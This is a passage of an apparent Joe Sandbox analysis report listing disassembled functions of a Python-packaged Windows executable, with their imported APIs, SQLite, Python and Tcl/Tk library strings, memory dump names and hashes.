Part of subcall function 00007FFDFAB7D070: memset.VCRUNTIME140 ref: 00007FFDFAB7D0D4

Strings

winGetTempname4, xrefs: 00007FFDFAB7FF6A
winGetTempname1, xrefs: 00007FFDFAB7FB92
etilqs_, xrefs: 00007FFDFAB7F9C2, 00007FFDFAB7FC7A
winGetTempname5, xrefs: 00007FFDFAB7FC6C
winGetTempname2, xrefs: 00007FFDFAB7FAC7
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789, xrefs: 00007FFDFAB7FCC0

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 2221118986-463513059
Opcode ID: d68a127d841d65a3257d40cf2df7cbf0d8bc42d3f4fd7b6e20ccfa66f4e4daa9
Instruction ID: 054bcbeb7210ec0de61a3e448d73e74e82641ce7019c5ffef25b404c4c1897de
Opcode Fuzzy Hash: d68a127d841d65a3257d40cf2df7cbf0d8bc42d3f4fd7b6e20ccfa66f4e4daa9
Instruction Fuzzy Hash: B2E11111B1C3C607EF0D8B3939319786AA1AB45781F9481BADABE477D6DE3CB512C310

Function 00007FFDFAB9E5A0 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 402COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB9E6C3

Strings

Bad ptr map entry key=%u expected=(%u,%u) got=(%u,%u), xrefs: 00007FFDFAB9E8B1
Page %u: pointer map referenced, xrefs: 00007FFDFAB9EA0F
max rootpage (%u) disagrees with header (%u), xrefs: 00007FFDFAB9E7BB
Failed to read ptrmap key=%u, xrefs: 00007FFDFAB9E88A
incremental_vacuum enabled with a max rootpage of zero, xrefs: 00007FFDFAB9E7DF
Freelist: , xrefs: 00007FFDFAB9E737
Page %u: never used, xrefs: 00007FFDFAB9E9A5

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID: Bad ptr map entry key=%u expected=(%u,%u) got=(%u,%u)$Failed to read ptrmap key=%u$Freelist: $Page %u: never used$Page %u: pointer map referenced$incremental_vacuum enabled with a max rootpage of zero$max rootpage (%u) disagrees with header (%u)
API String ID: 2221118986-741541785
Opcode ID: dc9b3f8e47221699f1f973630f934032112ca486049a4d8f98b22e4038558d74
Instruction ID: fe6ceb50efd4cf7c0a390ddf537ca521e586a1cbc745bed9c6ffcd4fa7e43973
Opcode Fuzzy Hash: dc9b3f8e47221699f1f973630f934032112ca486049a4d8f98b22e4038558d74
Instruction Fuzzy Hash: 57027232B087818AE728CB66E4A0A7D77A1FB88748F544175DA6E47BD9DF7CE441CB00

Function 00007FF62C0F83C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F842B
RemoveDirectoryW.KERNEL32(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84AE
DeleteFileW.KERNEL32(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84CD
FindNextFileW.KERNEL32(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84DB
FindClose.KERNEL32(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84EC
RemoveDirectoryW.KERNEL32(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84F5

Strings

%s\*, xrefs: 00007FF62C0F83F2

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: 5a4c9c5329e50b266b8a1199ffe3e1a54a90469d85353712d09d069954f98b4d
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: C0416021A0C94289EE209B24EC591FA6360FF96774F500332ED9DC2694EF7DE585C74A

Function 00007FFDFAA512F0 Relevance: 10.8, APIs: 7, Instructions: 343COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFAA51880: PyMem_Malloc.PYTHON312 ref: 00007FFDFAA518E3
Part of subcall function 00007FFDFAA51880: PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA519D6
Part of subcall function 00007FFDFAA51880: PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA51A33

PyMem_Malloc.PYTHON312 ref: 00007FFDFAA51376
PyMem_Free.PYTHON312 ref: 00007FFDFAA5147C
PyErr_NoMemory.PYTHON312 ref: 00007FFDFAA53989
_Py_Dealloc.PYTHON312 ref: 00007FFDFAA5399D

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Mem_$MallocSubtypeType_$DeallocErr_FreeMemory
String ID:
API String ID: 4139299733-0
Opcode ID: bb7a1583b311f9023fc161d2ea2417430d383a05e2e7d543d3dd2600494f88aa
Instruction ID: 71a386c7d6ade97a742f6e5b48d59cb15428a6f739293b4712c22ef48849833e
Opcode Fuzzy Hash: bb7a1583b311f9023fc161d2ea2417430d383a05e2e7d543d3dd2600494f88aa
Instruction Fuzzy Hash: FBE1CAB2F1CA5289EB2E9B15D074E7D72A1EF90744F5401B5DA6F426CCDE2CE84AC308

Function 00007FF62C0FD12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF62C0FD148
RtlCaptureContext.KERNEL32 ref: 00007FF62C0FD175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF62C0FD18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF62C0FD1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF62C0FD224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF62C0FD241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF62C0FD24C

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: beaedb28620dca0820e320a6e2c27a3ce8439a0329a40f4e22887220335bbebd
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 85313D72608B818AEB609F64EC843EE7364FB94758F44403ADA4E87B98DF7CD548C715

Function 00007FFDFAB77316 Relevance: 9.3, APIs: 2, Strings: 4, Instructions: 332COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FFDFAB7757B
0123456789ABCDEF0123456789abcdef, xrefs: 00007FFDFAB77509
VUUU, xrefs: 00007FFDFAB7744E
-x0, xrefs: 00007FFDFAB775E6

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID:
String ID: -x0$0123456789ABCDEF0123456789abcdef$VUUU$VUUU
API String ID: 0-2031831958
Opcode ID: 6e0f98e82388a9241255ea5314a25ad84ded85dd30c3e533139e972041858ceb
Instruction ID: 442e73e15fab017e074d3f21ae49cea783298f05604b4d99e9ea538357d848c0
Opcode Fuzzy Hash: 6e0f98e82388a9241255ea5314a25ad84ded85dd30c3e533139e972041858ceb
Instruction Fuzzy Hash: A3D13762B1D69285DB28CB28E0A4F7D7BA1FB44784F8640B5DE6E477C9DE6CE480C700

Function 00007FF62C10A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF62C10A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF62C10A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF62C10A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF62C10A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF62C10A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF62C10A72E

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: c7ca2951b58de854e9435c53d4e88286f2e3c369a0eeba24442f6d66f35b0a8a
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: D0316E36608B8186DB60CF29EC452AE73A4FB987A8F540135EE9D83B94DF7CD159CB01

Function 00007FF62C111874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1118C0
FindFirstFileExW.KERNEL32 ref: 00007FF62C1119CA

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction ID: b953d486e0e311c067662f3579c5b56241669748530832a6119eb82da4e9b82d
Opcode Fuzzy Hash: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction Fuzzy Hash: B1B11A22B18A9641EF60DB29AC0A2B9A3A1EF54BF4F544131DD5D87BD5EF7CE441C302

Function 00007FFDFAB98000 Relevance: 6.6, APIs: 5, Instructions: 362COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB98199
memset.VCRUNTIME140 ref: 00007FFDFAB981AA
memcpy.VCRUNTIME140 ref: 00007FFDFAB98228
memcpy.VCRUNTIME140 ref: 00007FFDFAB98240
memset.VCRUNTIME140 ref: 00007FFDFAB9824F

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: 93c7ce6ee5c79305409f8c2a58caa6f335f99a868b695c17bafe5d61925176e2
Instruction ID: b17c0a5b1d5a1c78030e1cd676370826fb655a19f694ec81010677cd4c19f0c3
Opcode Fuzzy Hash: 93c7ce6ee5c79305409f8c2a58caa6f335f99a868b695c17bafe5d61925176e2
Instruction Fuzzy Hash: 1DE1DF327087818AE7988F69D060BAD77A5FB59B88F448076EE5E477CADF3DE4458300

Function 00007FF62C0F5830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5840
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5852
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5889
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F589B
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F58B4
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F58C6
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F58DF
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F58F1
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F590D
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F591F
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F593B
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F594D
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5969
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F597B
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F5997
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F59A9
GetProcAddress.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F59C5
GetLastError.KERNEL32(?,00007FF62C0F64CF,?,00007FF62C0F336E), ref: 00007FF62C0F59D7

Strings

PyPreConfig_InitIsolatedConfig, xrefs: 00007FF62C0F5DDD, 00007FF62C0F5DFF
PyStatus_Exception, xrefs: 00007FF62C0F5E39, 00007FF62C0F5E5B
PySys_GetObject, xrefs: 00007FF62C0F5E67, 00007FF62C0F5E89
PyConfig_SetBytesString, xrefs: 00007FF62C0F5A17, 00007FF62C0F5A39
PyUnicode_FromFormat, xrefs: 00007FF62C0F5F4D, 00007FF62C0F5F6F
Py_IsInitialized, xrefs: 00007FF62C0F5931, 00007FF62C0F5953
PyImport_AddModule, xrefs: 00007FF62C0F5BE3, 00007FF62C0F5C05
PyRun_SimpleStringFlags, xrefs: 00007FF62C0F5E0B, 00007FF62C0F5E2D
Failed to get address for %hs, xrefs: 00007FF62C0F5861
PyObject_GetAttrString, xrefs: 00007FF62C0F5D53, 00007FF62C0F5D75
PyModule_GetDict, xrefs: 00007FF62C0F5CC9, 00007FF62C0F5CEB
PyUnicode_FromString, xrefs: 00007FF62C0F5F7B, 00007FF62C0F5F9D
Py_PreInitialize, xrefs: 00007FF62C0F595F, 00007FF62C0F5981
PyConfig_Read, xrefs: 00007FF62C0F59E9, 00007FF62C0F5A0B
PyObject_Str, xrefs: 00007FF62C0F5DAF, 00007FF62C0F5DD1
PyConfig_InitIsolatedConfig, xrefs: 00007FF62C0F59BB, 00007FF62C0F59DD
PyConfig_SetString, xrefs: 00007FF62C0F5A45, 00007FF62C0F5A67
PyMarshal_ReadObjectFromString, xrefs: 00007FF62C0F5C6D, 00007FF62C0F5C8F
PyMem_RawFree, xrefs: 00007FF62C0F5C9B, 00007FF62C0F5CBD
PyConfig_Clear, xrefs: 00007FF62C0F598D, 00007FF62C0F59AF
PyObject_CallFunction, xrefs: 00007FF62C0F5CF7, 00007FF62C0F5D19
PyConfig_SetWideStringList, xrefs: 00007FF62C0F5A73, 00007FF62C0F5A95
PyUnicode_AsUTF8, xrefs: 00007FF62C0F5EC3, 00007FF62C0F5EE5
Py_ExitStatusException, xrefs: 00007FF62C0F58AA, 00007FF62C0F58CC
PySys_SetObject, xrefs: 00007FF62C0F5E95, 00007FF62C0F5EB7
PyEval_EvalCode, xrefs: 00007FF62C0F5BB5, 00007FF62C0F5BD7
PyUnicode_Decode, xrefs: 00007FF62C0F5EF1, 00007FF62C0F5F13
Py_DecRef, xrefs: 00007FF62C0F5836, 00007FF62C0F5858
Py_DecodeLocale, xrefs: 00007FF62C0F587F, 00007FF62C0F58A1
GetProcAddress, xrefs: 00007FF62C0F5868
PyErr_Print, xrefs: 00007FF62C0F5B59, 00007FF62C0F5B7B
PyErr_NormalizeException, xrefs: 00007FF62C0F5AFD, 00007FF62C0F5B1F
PyUnicode_Join, xrefs: 00007FF62C0F5FA9, 00007FF62C0F5FCB
PyUnicode_DecodeFSDefault, xrefs: 00007FF62C0F5F1F, 00007FF62C0F5F41
Py_Finalize, xrefs: 00007FF62C0F58D5, 00007FF62C0F58F7
PyObject_SetAttrString, xrefs: 00007FF62C0F5D81, 00007FF62C0F5DA3
PyErr_Fetch, xrefs: 00007FF62C0F5ACF, 00007FF62C0F5AF1
PyErr_Occurred, xrefs: 00007FF62C0F5B2B, 00007FF62C0F5B4D
PyErr_Restore, xrefs: 00007FF62C0F5B87, 00007FF62C0F5BA9
PyObject_CallFunctionObjArgs, xrefs: 00007FF62C0F5D25, 00007FF62C0F5D47
PyImport_ImportModule, xrefs: 00007FF62C0F5C3F, 00007FF62C0F5C61
PyErr_Clear, xrefs: 00007FF62C0F5AA1, 00007FF62C0F5AC3
PyUnicode_Replace, xrefs: 00007FF62C0F5FD7, 00007FF62C0F5FF9
PyImport_ExecCodeModule, xrefs: 00007FF62C0F5C11, 00007FF62C0F5C33
Py_InitializeFromConfig, xrefs: 00007FF62C0F5903, 00007FF62C0F5925

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 6619931e63b14310192cb118969e6357bb73a3435b4290c8dd8125c1c6dcdb6d
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: 3022DA6490DF0B99FE15CB5DBC6A5B823B0AF247B5F541035C81E82260FFBDB189924B

Function 00007FF62C0F76C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF62C0F76D7
GetLastError.KERNEL32 ref: 00007FF62C0F76E9
GetProcAddress.KERNEL32 ref: 00007FF62C0F7725
GetLastError.KERNEL32 ref: 00007FF62C0F7737
GetProcAddress.KERNEL32 ref: 00007FF62C0F7750
GetLastError.KERNEL32 ref: 00007FF62C0F7762
GetProcAddress.KERNEL32 ref: 00007FF62C0F777B
GetLastError.KERNEL32 ref: 00007FF62C0F778D
GetProcAddress.KERNEL32 ref: 00007FF62C0F77A9
GetLastError.KERNEL32 ref: 00007FF62C0F77BB
GetProcAddress.KERNEL32 ref: 00007FF62C0F77D7
GetLastError.KERNEL32 ref: 00007FF62C0F77E9
GetProcAddress.KERNEL32 ref: 00007FF62C0F7805
GetLastError.KERNEL32 ref: 00007FF62C0F7817
GetProcAddress.KERNEL32 ref: 00007FF62C0F7833
GetLastError.KERNEL32 ref: 00007FF62C0F7845
GetProcAddress.KERNEL32 ref: 00007FF62C0F7861
GetLastError.KERNEL32 ref: 00007FF62C0F7873

Strings

Tcl_CreateInterp, xrefs: 00007FF62C0F771B, 00007FF62C0F773D
Tcl_Alloc, xrefs: 00007FF62C0F7C1D, 00007FF62C0F7C3F
Tcl_MutexUnlock, xrefs: 00007FF62C0F78E1, 00007FF62C0F7903
Tcl_DeleteInterp, xrefs: 00007FF62C0F77FB, 00007FF62C0F781D
Tcl_ConditionFinalize, xrefs: 00007FF62C0F793D, 00007FF62C0F795F
Tcl_DoOneEvent, xrefs: 00007FF62C0F7771, 00007FF62C0F7793
Tcl_JoinThread, xrefs: 00007FF62C0F7885, 00007FF62C0F78A7
Tcl_ConditionNotify, xrefs: 00007FF62C0F796B, 00007FF62C0F798D
Tcl_EvalObjv, xrefs: 00007FF62C0F7BEF, 00007FF62C0F7C11
Tcl_GetCurrentThread, xrefs: 00007FF62C0F7857, 00007FF62C0F7879
Tcl_MutexLock, xrefs: 00007FF62C0F78B3, 00007FF62C0F78D5
Tcl_SetVar2Ex, xrefs: 00007FF62C0F7B37, 00007FF62C0F7B59
Tcl_FinalizeThread, xrefs: 00007FF62C0F77CD, 00007FF62C0F77EF
Tcl_ThreadAlert, xrefs: 00007FF62C0F79F5, 00007FF62C0F7A17
Tcl_Free, xrefs: 00007FF62C0F7C4B, 00007FF62C0F7C6D
Failed to get address for %hs, xrefs: 00007FF62C0F76F8
Tcl_ConditionWait, xrefs: 00007FF62C0F7999, 00007FF62C0F79BB
Tk_Init, xrefs: 00007FF62C0F7C79, 00007FF62C0F7C9B
Tcl_MutexFinalize, xrefs: 00007FF62C0F790F, 00007FF62C0F7931
Tcl_Init, xrefs: 00007FF62C0F76D0, 00007FF62C0F76EF
Tcl_EvalEx, xrefs: 00007FF62C0F7BC1, 00007FF62C0F7BE3
GetProcAddress, xrefs: 00007FF62C0F76FF
Tcl_ThreadQueueEvent, xrefs: 00007FF62C0F79C7, 00007FF62C0F79E9
Tcl_GetString, xrefs: 00007FF62C0F7AAD, 00007FF62C0F7ACF
Tcl_EvalFile, xrefs: 00007FF62C0F7B93, 00007FF62C0F7BB5
Tcl_NewByteArrayObj, xrefs: 00007FF62C0F7B09, 00007FF62C0F7B2B
Tcl_CreateThread, xrefs: 00007FF62C0F7829, 00007FF62C0F784B
Tk_GetNumMainWindows, xrefs: 00007FF62C0F7CA7, 00007FF62C0F7CC9
Tcl_CreateObjCommand, xrefs: 00007FF62C0F7A7F, 00007FF62C0F7AA1
Tcl_GetObjResult, xrefs: 00007FF62C0F7B65, 00007FF62C0F7B87
Tcl_FindExecutable, xrefs: 00007FF62C0F7746, 00007FF62C0F7768
Tcl_Finalize, xrefs: 00007FF62C0F779F, 00007FF62C0F77C1
Tcl_GetVar2, xrefs: 00007FF62C0F7A23, 00007FF62C0F7A45
Tcl_SetVar2, xrefs: 00007FF62C0F7A51, 00007FF62C0F7A73
